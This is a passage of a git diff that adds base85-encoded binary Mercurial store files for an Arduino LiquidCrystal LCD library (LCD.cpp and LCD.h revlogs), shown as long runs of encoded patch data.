zBc_r~mFXmbEs!Ahb__5|wc}1RVPp3MiSA-P?)5WWDBe!ii5d4Rs+h=M5IjL~em8A8 zg&p>G4or9!-X+dPxprkKg8#jziSM{;k|P0fk4vXsQr)&g^Ubxpfu~&u6t|;gqV4=P Rw@bCtCqnjsG7&dW{{gh)5t9G_ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_l_c_d.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_l_c_d.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..7b78a1f3544567667f052c3251a3adbc91f11f43 GIT binary patch literal 8427 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_l_c_d.h.i b/libraries/NewliquidCrystal/.hg/store/data/_l_c_d.h.i new file mode 100644 index 0000000000000000000000000000000000000000..931fdfeba219c9a8588fafdfd00817399c95810f GIT binary patch literal 14075 zcmZ{~1yo(Z&Mcd28O2|r%E9IkIpqfGNMo^Q(?;wQg z@$t{r#U~pfH@af0Z|7uKtT7)xY~5$I^h|sAZOohcWF@q1>y$aRn;+)l$MD3M>k6}X zwR7z&fDq|htDL(wM4oR-FsZR}6H zOLYD4SD;B}THmUi$-Ba%epG=?4CO6Zix0U^1w9~Uz{kTb8<=AR4IAFyqKLmZ6FR56 zJ`krX)t>HM&oo^te*jYUom1A%R9vInlTnggYA5OP){!H8q+m|<{~}GXc8u$by%@|gM^6!92m@>?My*JMB9KAtb5DKV`mpU?}ea7?UHJE%mc;F4UVY8PE&rOJH3jN%%=v}ffi z)GL>e!;s8FY+`~vh9BKfOG7hV|F%YMv}*?l zZJW}d7)mnNE-=*&j89)xT_F&>^%Eg$u3Es-+AV{j2~(J+GJlUA!cB>6>QHrKV_F?0 z9Ve+bC5)h6g2WLTF^J@j{#GkaAMZXMX89At_BU90xFr=83Y^&te0iEPIzmSJQWQHs zuB_ADo9*q{9Wwp5j*Jp+rmm=&iqy4)qe0l3A+b={c=7Y`Uy8{4Lwu1bNzk}=r1N4u zM^sVmHEe-2=JMa06F8s=&J}sP|3DQBT5<#4RpLDNHyZ3q(R&!e`gLgY?M)tH1rcXZ z)Bxb$0o1Q2(K@M+(YE@@KajsX9Bd;D!7$q-(SA(!;3|k0+2g%Pk*TIK8Eq~J*>*aA zFQtQj>KWXMzy7vY&`)get6AuZFP#0-X#mdnIB6#9&yOAVC~Vhn@?(kntjbir338R|=I z0?aOVHlsW#OY{mYJmLbj^mk#_z7AVvOj=DHT!F~RjB0|&qw-A4eV9f*E>w{rYKk1K zvB?&EcIQ#~lXlNtEPG5(ks|@}Mcnb|R7?hbz@O0c2vr_$QLDZ#^xhfZkG<)Zw6&$l zo9F$>@#M8TvirMt;vF_VKyaUsSXA#?Q?&SJ(J`GqR;=Tt@Ec*$aR0Wbr6 zS-cBoc@-EPOL=R@qd%V51f7E$;5=V;`~ x)N1kioQBg=#l*OeDCh%?(e?_AoUC} z^&>rUbqR5wcMrN~W+0Hrks5(*3$rkff1tjVTJ;4=B%vvtFct~1`oyz6WBiCIED6rip% z8H4Qd=*_vi`?CizP`4Ak5_E(zv~i2Y>yfi6CQ+!%*PlOXdHZONQo#&oXx#Fp-Wt<( zR_9MyvbKyQ5c_ASSn8i)pERL(9Vhpduo(&V1)}=~iBGK2q5|jlFm0UAh=(6G*HylT zps$3We>LkRF;a-g*+YyiC#1oZT}?%M;dY&ug8_`0C>C5^uVlEMUoZr=I~-LUh2dCv zf%dN^&SEqy-X}H8`+I8)9@w-0Y=5S41{3d_PFO~f&a~4O=fhN1@+4arWRXsBa&DXKF_z_L+8Vt{^`egx~a3fRkYzedUjX(^~0z+hOOS zQc&f5y@TIrZv7=rjZe=MiG?QAKVkBjib+bznKh#1)>yGpJC54V6~J{>_f7l|SxA?q z=?8VEvgg-@F%;y-+H;1RBP|To*aNc{;-dxU#RoT6F%0y!E=)w4Rte|Bm)oIx0@N3> z=U_b*-lCSY*`$xMUH<$J9W)R5yzJP+BSG6$i0nk>d&BR z`#mrrCQg+1VGR4bY_X4fia!0mwB6CPtmCW}j(C?O4q2_Cx{F0MTrQdHI-WME8~(!W zn7Q;7t^D~4T_Qi|fb9S<M;SUUXsMqNyV4CTgC2^NxFF_GagQLDa z)2#|G_ijh*DQS1Rcy32Y2pY7cbNZgJF~)-orefLvjkNIKlGpt6-OubA&^LKvpA5Ez z4-PqB*1bpm(%5o$PHAuKr2-`67QEga`5~?;Z&z=@K_L=$5WDJDYIfYyvf#}hG{Oj2 z3b%ZlS-p5(9)PCd0t^+=1#HXLPhNM0!ZR8WotD*Lhp~-z8WV+PCT0EQmGq6!e=S0TG0H0zkEU%pt(6+~fP37^)Jz2GG0mVIDx_B}1 zcdktpQcSmIa9B{Z1CH$;RKJp#Q^1y_*g5n<&CC7KM=QZCMPS6KsuKy!&)7&^9oFsT zksfOyP;fEM?nSPK^0^^Ex;&h=d^Osc)k6 zC*6`RsPHa|2B}-IKl(&YGqva<#_4#-xmQI?L48&pCUOK(=va&ETgXT@@)RSLw-ldo z%?TCe_BaFH(2jNTuh;U5%Lrnb=)HVei0JF~IHJRFQghS6d9QR>Ym>=O&%U=7C>@fO zFo2Ov&IoUT-R`eay0A31bl11>?*6el-{s!Sjm3!3;>1DS#{#DwRD)F~nH)Gymexd0 zj-k&;F5|pFJ3KI%r^sDye=g$DmAsO$8RkaVz7NlM>5qZG>DWP!2+dwu)V2?oj^N5b z=oBUKG*^s+WbEFf#EM8|;L+{lQ`WQH4Sj_^ISs^#P^zI#ndj<_2C;qLPIwH2>cm2S z;ZLiNpfr`{?98IQXF8}n_V$fTBOlQxzaiD|-Xw-R))C2L?H@a$u%m7i zM2XIRv!0E+k#OuuhSSunPiOn}a6y#2>}TQmLWl7yM&qP{vM)o3ESRfgv4aYKpT5%d z;lc};oKgPN2WAJ}wib9@sViarIqE{KvJI?U(o~NKDk)SJ7HROLUrKIniPspldJ2v* zvsg-D>}+-EDv7ah*#0(g)m2UqWDg7mFH&EylS}P5v!(3)?~A9QbKau5JCAdT@s-3`1Sp`e9AMBv!;VXYWvf&G#+2f^cyM zLZL3zdhs9nr*E=1h%DZKj$$2Lr}dG!;8A|_!n(9_mnJ*r5`b--lnMy0Au`n*Umo z`9va@=lo{PgD)JX^~+|2qHu5E{jT%Eglbaak#vWay%nWxOnSXArIOl{2;Q6D18pPf zyJAMAYWTTp_)q!R7tyDw&Stioa^J5i<>iKqCgG+;A9=7&ud*rLWp%4xNbAZE-@$RS z_@7?w-*9vb-K`zBcU@S{kGUm`nwxw-|$vZi|F0T&1HRFq4 zP{;&6pP#q(2DgPc=yT9s5Hw~(vLJgJ$VLbZcHr&M$JZJFfCQnC9g&Tu4rLGE%CH!w z3@NyYiS+o|%;X=>EAh>@FkQg2GF|XCH8pkB96-6b#SO?e+GWibmI`<_GV~e{mLgXZ z(*-?Iaf~C5>_F$fg^R|3QMsYAH8)pHlynbrb~ZOwY?3qwR)=W>0qtW`B^CN4tra-c znHp$#8_M*OPyiEB)HRUa(D+~bv;Yfw|5^jf4yI5LLGzkF;37C;vwk=(>W|D(=Ms@v&N8aX=osYdXCSAKmkYAfawo*00Dkw=1VH*h z%X{q&EEdb%YYp54rqB=(OQ~)%EVcKu4@bQ}e&q~eDZ^zb{m1iDi3P(E!@)_xz^Jgn!GW4*N>Ud`NI=a`GdQ5K<(nDdgvFU&thfg((2u8lb5b~h z28Mo;n5_I1JuUEPt4(XR_fD}~49s?R$+2py)a%q8X3O()HS?$7S|1r;xf_{39+X>F zK!JEXL-`RI$|9Y8{D9U9OzY>(Bl(M3Dh@^Hbqt8sh*VQ3qvCn$DiZvHd}6e?voQwP zlmwG82AY)F5;!#=@kw6HnId#fxTA>0-I-obPzY6#jE;`!hmcwTA!7OuXn?GdoegA+ z=ur?1H3-(vC8P$1H{b#b(T}xPkUjB1Lwf-BUrAiX9u_N!U*xYG|B!Efo#wPXF(;1p z_gZ*mlt-wYo1BL?SvbuTCH3Pd*kVQeNOnjvIl$9U!by4e1hJyL7un#VwE(FXnyqA+ zxr{5!G0h38uwmDRbAkIK`w=~>8R2iw&MXbsw0`~AFTzjXiLZz3;gXmW6`9b(idKK@ zR9A8np?)7uM!~&q6miCm3vST@2KQyWH|SWqX|2DcQ`BKbgdQ{A;Jot>6L_jv&&uJT zdUqx#*d~VMHMybX&O2XUw(~o8@mg8m5_J8}&D^F+?^ji$1aSCBCI`NJ8jfJ?8T|=V z90X+flHwYpW1L)(JE@#!RY-5O7+0|^jb4|3kdiW_u=qUwEf0S|WP_jKCpYJGpfN2v zCH~kzdI~pnofaDqn@xs?_L{hW$oA43fnO>-Emh&5PVNi{GgV@~LxCDBBpGqJK>e9cN9lM<&At##uw)JJHa0 zKcSnxAs3Zs98pJG|Bm+Xr)b-&*5s=xj<02nvhWbh$45WT>Lb(46zWG)_6(tx>%nf7V)4?r{T?qy!))(k$?@`I=FuYrxW`%ar z8M;(Uqu&<=1zLt2$s8tr*9R(@M!1AqlWWg6bWw8U#H|KUIVI?yQ3#=mT1(yvh72Xg z%SIr68j!EJUU(l*w4QZGRno%P$+`kV0lx|o2Y%ym4gDY?Y{#MZerJB6l#`;5lt~@^ z?2VvMhrv%wej!i&A2%>C@@B;=TGqGmsEpl3gv{njNe|2EV#8B4=yg3PnDHkucW+8L zE?}kuq&+y*cY$oUdG_fAp`K1PPRey?ZxFu96nz%VgP-j3IZ3ArTl(|#7PMn`+bwol z?UiG*>XmU$V*xsjmnQ2?nR8HumDM)dg{n9E`@>e!3|GDsWaIn;gtGf#>itU0gPg?j z7sM3ap$V>X+~;wtPR}4AfB{=s;1J0js(G=@vC+b^{AX|37BStPU+Rw2U#5$n7~&#s z8x7g6$)U<8k|3&n^BTATQs60y_@{beFolOq(KBt%{rH^AJo`B>l%6tmDG)@E@Q>$} zKw=ojvN^y4UI-kn{u`SfAi>E2&a$YXVOuvhFWsOl`9lRDoo#lOS!ZHKlVMU``_j#O z2O6N8jui;`&YN=xh60BMZXrkw49wty01*K}@{N1q%{Aj=&xdKk%;hzD3;Xa_j(^BE z-zj-kQHm22bfP$+8SlB|{W*@9&zY%myQI5vSF&uxQUk%AKFe}ZV?_6gH$WuK;i@Cl z(&HdNzym&fxI-csW7F(_i@10I+4?u5!m=#Dv{V7B6H{V1c4dNMnF>=%i7qmNu2F@9 ztN3i<1Q`%V+ANcK)jGgJo2FSk^c<8eBNu;1ev>BE8EWtJt%=Z7a@D-UFyQ|tMR)?whiUWiE zf#&tbk)&Df_Ns17sreQ_MLTO_QE8_CEb6wk+_2mn?ofb@3j!a=$FY4O7yv#G=Eiuf z0RW<4iVP9VKjR>q-)`N)1*y2EXCzNY zuk#@a*1^Dok--%TFoj6Q1?d5M>9rp+uxOBc0|FA@f&vkZ?_==@^yFmKObAq2&)?t1 zc!>|`uN?n_5Wa%vsin2*>aA`tcj*`EP zftwRS9^se)kYJ4qx2sq585N++LGfxBIF7G!fP)X$#6O9^hV>uOhdq%LlO4V_9!go; zyx_aB(#tLWC&T=IiJlP}DxvW|qSLoD@^FuKRW^6haLT<7;+P!F_J+Fvi2#G&i3xI=El};Z1PM3VtgGu?A!uPG`J(TZr+UWOlouL@+>-+Jnkz% zL{-))SRxdj3~fLdVfO897r^x^tph|9oY(XQ3hW%*asNa!0n=B9V12i(kiBZxe_~Gc z(;-M0!=M4z=^xK4@y%~bQc)Zc#{|7Em0Uq)Be&dvwM^AVgqcGejHmc1t!x;gx>%~7rm;nl}=mcWN`WmJ<@)RiBld`+s+ z(xl^GDPw-9wpCb>Lo3-vCe=mzf|b@}(^YRZ^mdD5oGvG>eLFj4x!dH*+OR;s|GbXt z#gwz%fjHCg-TRA3jHT0_dZWu!nsE^M=%fk(%gp&;-p>JAsdFu!7_=MyR`x2+vd@!v7=A#QoLu5T+?yCgF;-*E zi;Mg#^+2+T$%eud<#~c4#Nep{Q3vjC2!?J2N30A;4GfS>0u5rw{;{8Gdln3U5@2W z-=u|=oAyJV8N8dF#k(ojW+}Z-!^6A*$u!#lec6nu*Rq59>sY#*%6R4#DR&YVqoY8c z3jXY(iRT8ff7F#-QA{TLG*>fdDdiNEd>c2(Pep!uU1;9@l2hz0KD9a0vV-FE{I*bR zMFLesT!LQ7iCJz{84u5m9Axi~q>QqiWBJxov5*>2Ou}Ap?SN3_p1z2lBa6w)uccLw znS7>cX?e<6bcKqWj_yZ9Q9D4fY(Ih9F{Utt&lXd>T2X=5Fa7z8&$8BsIWZufQs&?Y z1C*42PB(DTSLZ%Cnfq%P^?Yu4t{kkvM`QWU6TbDH+kmz;;+w3mh<%UYr}TsKDNFt) zt51C2Yc>*xFB~-sIS=L0vx&qqlixksr~w>}@7Ysrs=5vv&wHEYhp;hF^TvRCo&t>62*n zo5!Cp7Wddk{Ex&z8VYvZ>3tFT464=Xpk+yWR96WBtr!nqJ#e*1G!ipvRco6c&ZSyf{ zp6cB^g-zoXpE7JO_t8U=vM(oj+RmZI-Y$N<%GXYa?Gn^OFci!Gihx$&26TwcBXq~6 zL+z!adw$H6SLPR3X$tApf^h#AAo&lc>Ies>jE%mn1{4+?nzBq23(_iU0jIuF+&IRCVh|^hH)u#8^LahRI zog_YyqcZuCWiGe?i1OeJEY2@);uUbJRV2rB?Nfvb6BwTIDp$6TAcFPSu@X zk%ntLWBy!y>6!MEN);J3;c<%6Y6j4q5jKqtW;3sn?ZC+GdzbCviTrsj$Y_N%W@9j7ggc z01)?mPYn5mm@~qagyvi6IYX|Icc#*8lumKRjG=R#)fJA9piPN1@{nbv`Cxy;!7S zi8)HUwbc~QhLRxPIp$B%>crU;>e9a?77|M^1D#K~N~_ZPcWesoo`FwDT^b}#G{jY) zWziv-svLBEo)s3B8VAd;W*RAs9&a+<$sn0}(dy^l}6%fkEjdmw}0%tUn+O z{{@J{i>QLP#UOfEhIVKgWTI@rh}sb(DkpL1awRrX#|B~ZujphhgCN^V0VtgO&>jlT zJLH(K6xm#w zPBZyA+0#1jDeU{MGN~<$!dAt%(_Ss+O%749SLfY1dtv8U@1t)+Ir*OV;7e5~|Ly|2b0utMjN(uxTiU%)$)bOHK>cegNQ4oXA3+~0KW zu8umhI?E|g@;WM89xM81-tHqPI_^(lho;_S=lo1OxLHPE?iOZ7Q{RA~J z8nJ6AOqsbkT6XDki_cjXfLjOAaSU?@j}(ZWNW~x+dK&=XyM@%i;0`WW5GQX(d{1oO z!o(8ZC(74yXdz+DF#Gb#@ehHWT-!tqTLNZ?>ta232;e2XVgP8HpiO6R2;s=6dO8S-vN zi-JHH!+bXqzJ_?ZmEL_4JK&rRyU1lu>YO{+*(qy?sI&7=Vbl9ShOH|6Sb3&58fpFk zj*fFMO45NYyb%-(Ebh+bI%U)iD`ojfZNi1d3+777gdl6t zRzfUey}eMY30B4#Gejp$c?`xx$3{)sGW6uhULYef{!o}U7>DFj(-*IPq#Rp94df@Z zBw^UO-NhyAmhSU*vUCbyF|_W|!L7ygzJwthA9ImM$*NZ&TRuvuS?w+2ug;%oQT>WJ zfA);u%kvydAGB{HW$%s^NjcS${&}f?o}c?N)#gLvgxS&d^Cv^@+o^1Xs7ZyKpCrbU zX0R=9yq~}QCSt|6m>3u!7`dbw9EgYW|JvW8LF!w{81LYaWVu0*PV2rYCn$ERJ|E5f zP~dJ}{qX@WHU{>%cp?HB)J!&qfvC$C%kmXrTSSINUdgo=;ON-fL9tWB7%*@A@a>A{DO2 zYTNVF`xw#1L&5^zNL#b%ripb)*BwhW3mk$Ac}0 zc(0KN>)CkO2;SLAZJI#|f6PG`PMlmdc}E`K?(;iu+V~wIy0H^hd#0vN!7gUMWDwwL zzdX90X=!$z(+Gv2$#u|;w(hT36N9MEiwV6r=@i7wDPH3b&VMg{6y?2ZghXr>&i{4I6lu1Qx*@f}z1VzR+t91b*-X7hH&o z#+yG9sxy0U_@n8jyyTx6_NDPaj->tvz<+pY4mvM$;LL!g3;A7l?!KY4+P7$zD@Ge5 zgNVZv&j^2vs9tN)qqnDhLB1khe_#v(h=Q(^4BE@zX}M9P>JpE;Z1(23Ws3M_Pfqo* z;d$y1SO0F0KQ*utsIR1{W654S9o_VeLalpmMA-@cudsf*K^ zctq!@@|uqA5r2-J7t3yXeZr>xDia&=zD3S~`Wa;5qeABaW4b<66}QvWQidfoT2?9&b~nfc=Xbq_Xri(ElIwd>LAb#WCHpbFj0Bqu ztl|WM3i^Abcv`4F%!iYe&0_?)DLw(@I~9d7w<=%g``VE0*3cm&9>)7GR> z4=_5f;+}fn2j3llT2Fhc;t>wMF*`12;0Vq&7#|)7A+Pj$=^7n4h$IT`YfJq)-G6); zggQh1kzJHPM{y^l)l;6beSx%+>XySH#$_waAcq;rP+vV3xfZu-g!FR%u*JrvZ0z)K-%oJ< zS_66Kzwmne^fUw*Lsgt&tg_4Tt3q~uDVDfWEuK zd+;kjPT}w&y|g-F;p1EqmbLKAyPGs2NiqEj|G%~iUchPlHF2CTRG16xVy>yqzc}#R zdN}UJ+#JIcv53tjy{%b{Mx}lba&o&PQZ6|EMq0H>yTku}`WyE-F+l44+c&>XT#{^< z`^{^0%m6(MYs4TKA!15{^X{T_u1n4MT5c*gfMB|U3_;8ft}J|uC~0OJ&qT??A$gzK zy{c9PySioMv%hoNpPQu{e`In8R#j7am$*`@ROfHQKX2LzN6&ZT=6hn?KcjTG4uhil z=JL!4V9A5I$pi+7{#Y8XS}Ys;rgNTW2U{fSP{wDQ-l@nKYrufCFjsy`Bg--78z)S@ zY@WFnj@5L@^jdA!Y2UAH&WP->=RNM;mb;ZtaDL$m+(K+uSKR+8#n++lm$!~$o~P99 z^y`a3f!mz!_~!SF8IO3xUeyYYA5ust1yhK4uBD*;d70fi3sDL(7*1kZUO@qL2tP=u16Z4 zEQPNOcucTa3XdkGE0-k+hAQ5sJNu6>uIlfV<=18k|GI&?*Y%(paWLp6t z(vk}tDTOKTL_q{bv6Qm9`KjzSX-JlO4&fZ{4*j~P#EIba4ayqxty~Xxita0m0$`HX zkCTaN(D&q{X?E7RCh_=j`i_t-7>F!sRIF~l{Zx_a_#S{EK`oLD!YWR6B9?DzcMeH= zOH4t=8hlV9ZohHKfGc{R8st^n9GUMld^~xJtB=o9uX9b!oAnF`LeH5j&0o1N5G1bX=fy?_*X9n(3L* zxbypD$D!;3^}X#RI3CkD z2obT|d&hcSr?#gGIFx-+4dT1lzWX4IZ3N#42ca}&K?Q8Qm=s~6d82^&t~jKw=Ymd| z18B+ffNO_y>TS&=y&2j#3Rj`;%XH<%gBPqs#>hb_1nO?6#i`%b?I_HPix_zg6ju^8}Q6ZBtT6-kaXZ0z5nvvV0#BsvjiFRrj>GxXNVk7hP)ih>OHs;NWV>-=ETR^{IC~CEv<`qFnHrEt!ZO!cB{jB-^1=|@eiF^3-s6;9yY{dwSjee{!tshSZvTN zNK$X#E8{Af6KT_a;nIc62v*G0TGKsZ!kNMunv$^|W@%pyXOF0Tra1R|h)JeLd3kR! z*pMe?Q<_dGYd>x`U92sDZ>1Qwz?*yA5H;nYD7UJ6PZZ$)}pWM zxfVSWc8VcKdjYr5!&NrJK56DVoyJ({`Im#bc2m|!U4#q~b%uNTvG`n;Huz=0?@VM~ z!E}`GI5YQ1FSxxqi>^#!ULY_H(LNt9eUg`R1 z-FJBPWP=_-ic@&zQj&yBm{W=VdB)J@huwkdY-$?$asDH!Zms)I>yIY{H6JujT{fcI zt{A5Ity6)gWznna6t)s=kV{<&-IM-qJd6{rKBF74I4#EvQSqsr?uVu$_g z!;Fpcvi+w#>Ec@k?LtyZzcy;bA`$hB=dm+2M&17vH>|yVDd5cg<(G)o?bjRF9_$ON z26g_$Ua214*Pe?hK;&DaY+Nz)aSjA4|dJq*BSr-xu7C~xF(iVM`v%q3fm{EIu6jE`^te@|H*$muLQENZmXMuFPwt* zXIj&jc|Z@o0~7+(O_lsDOuT~J?07Q@ 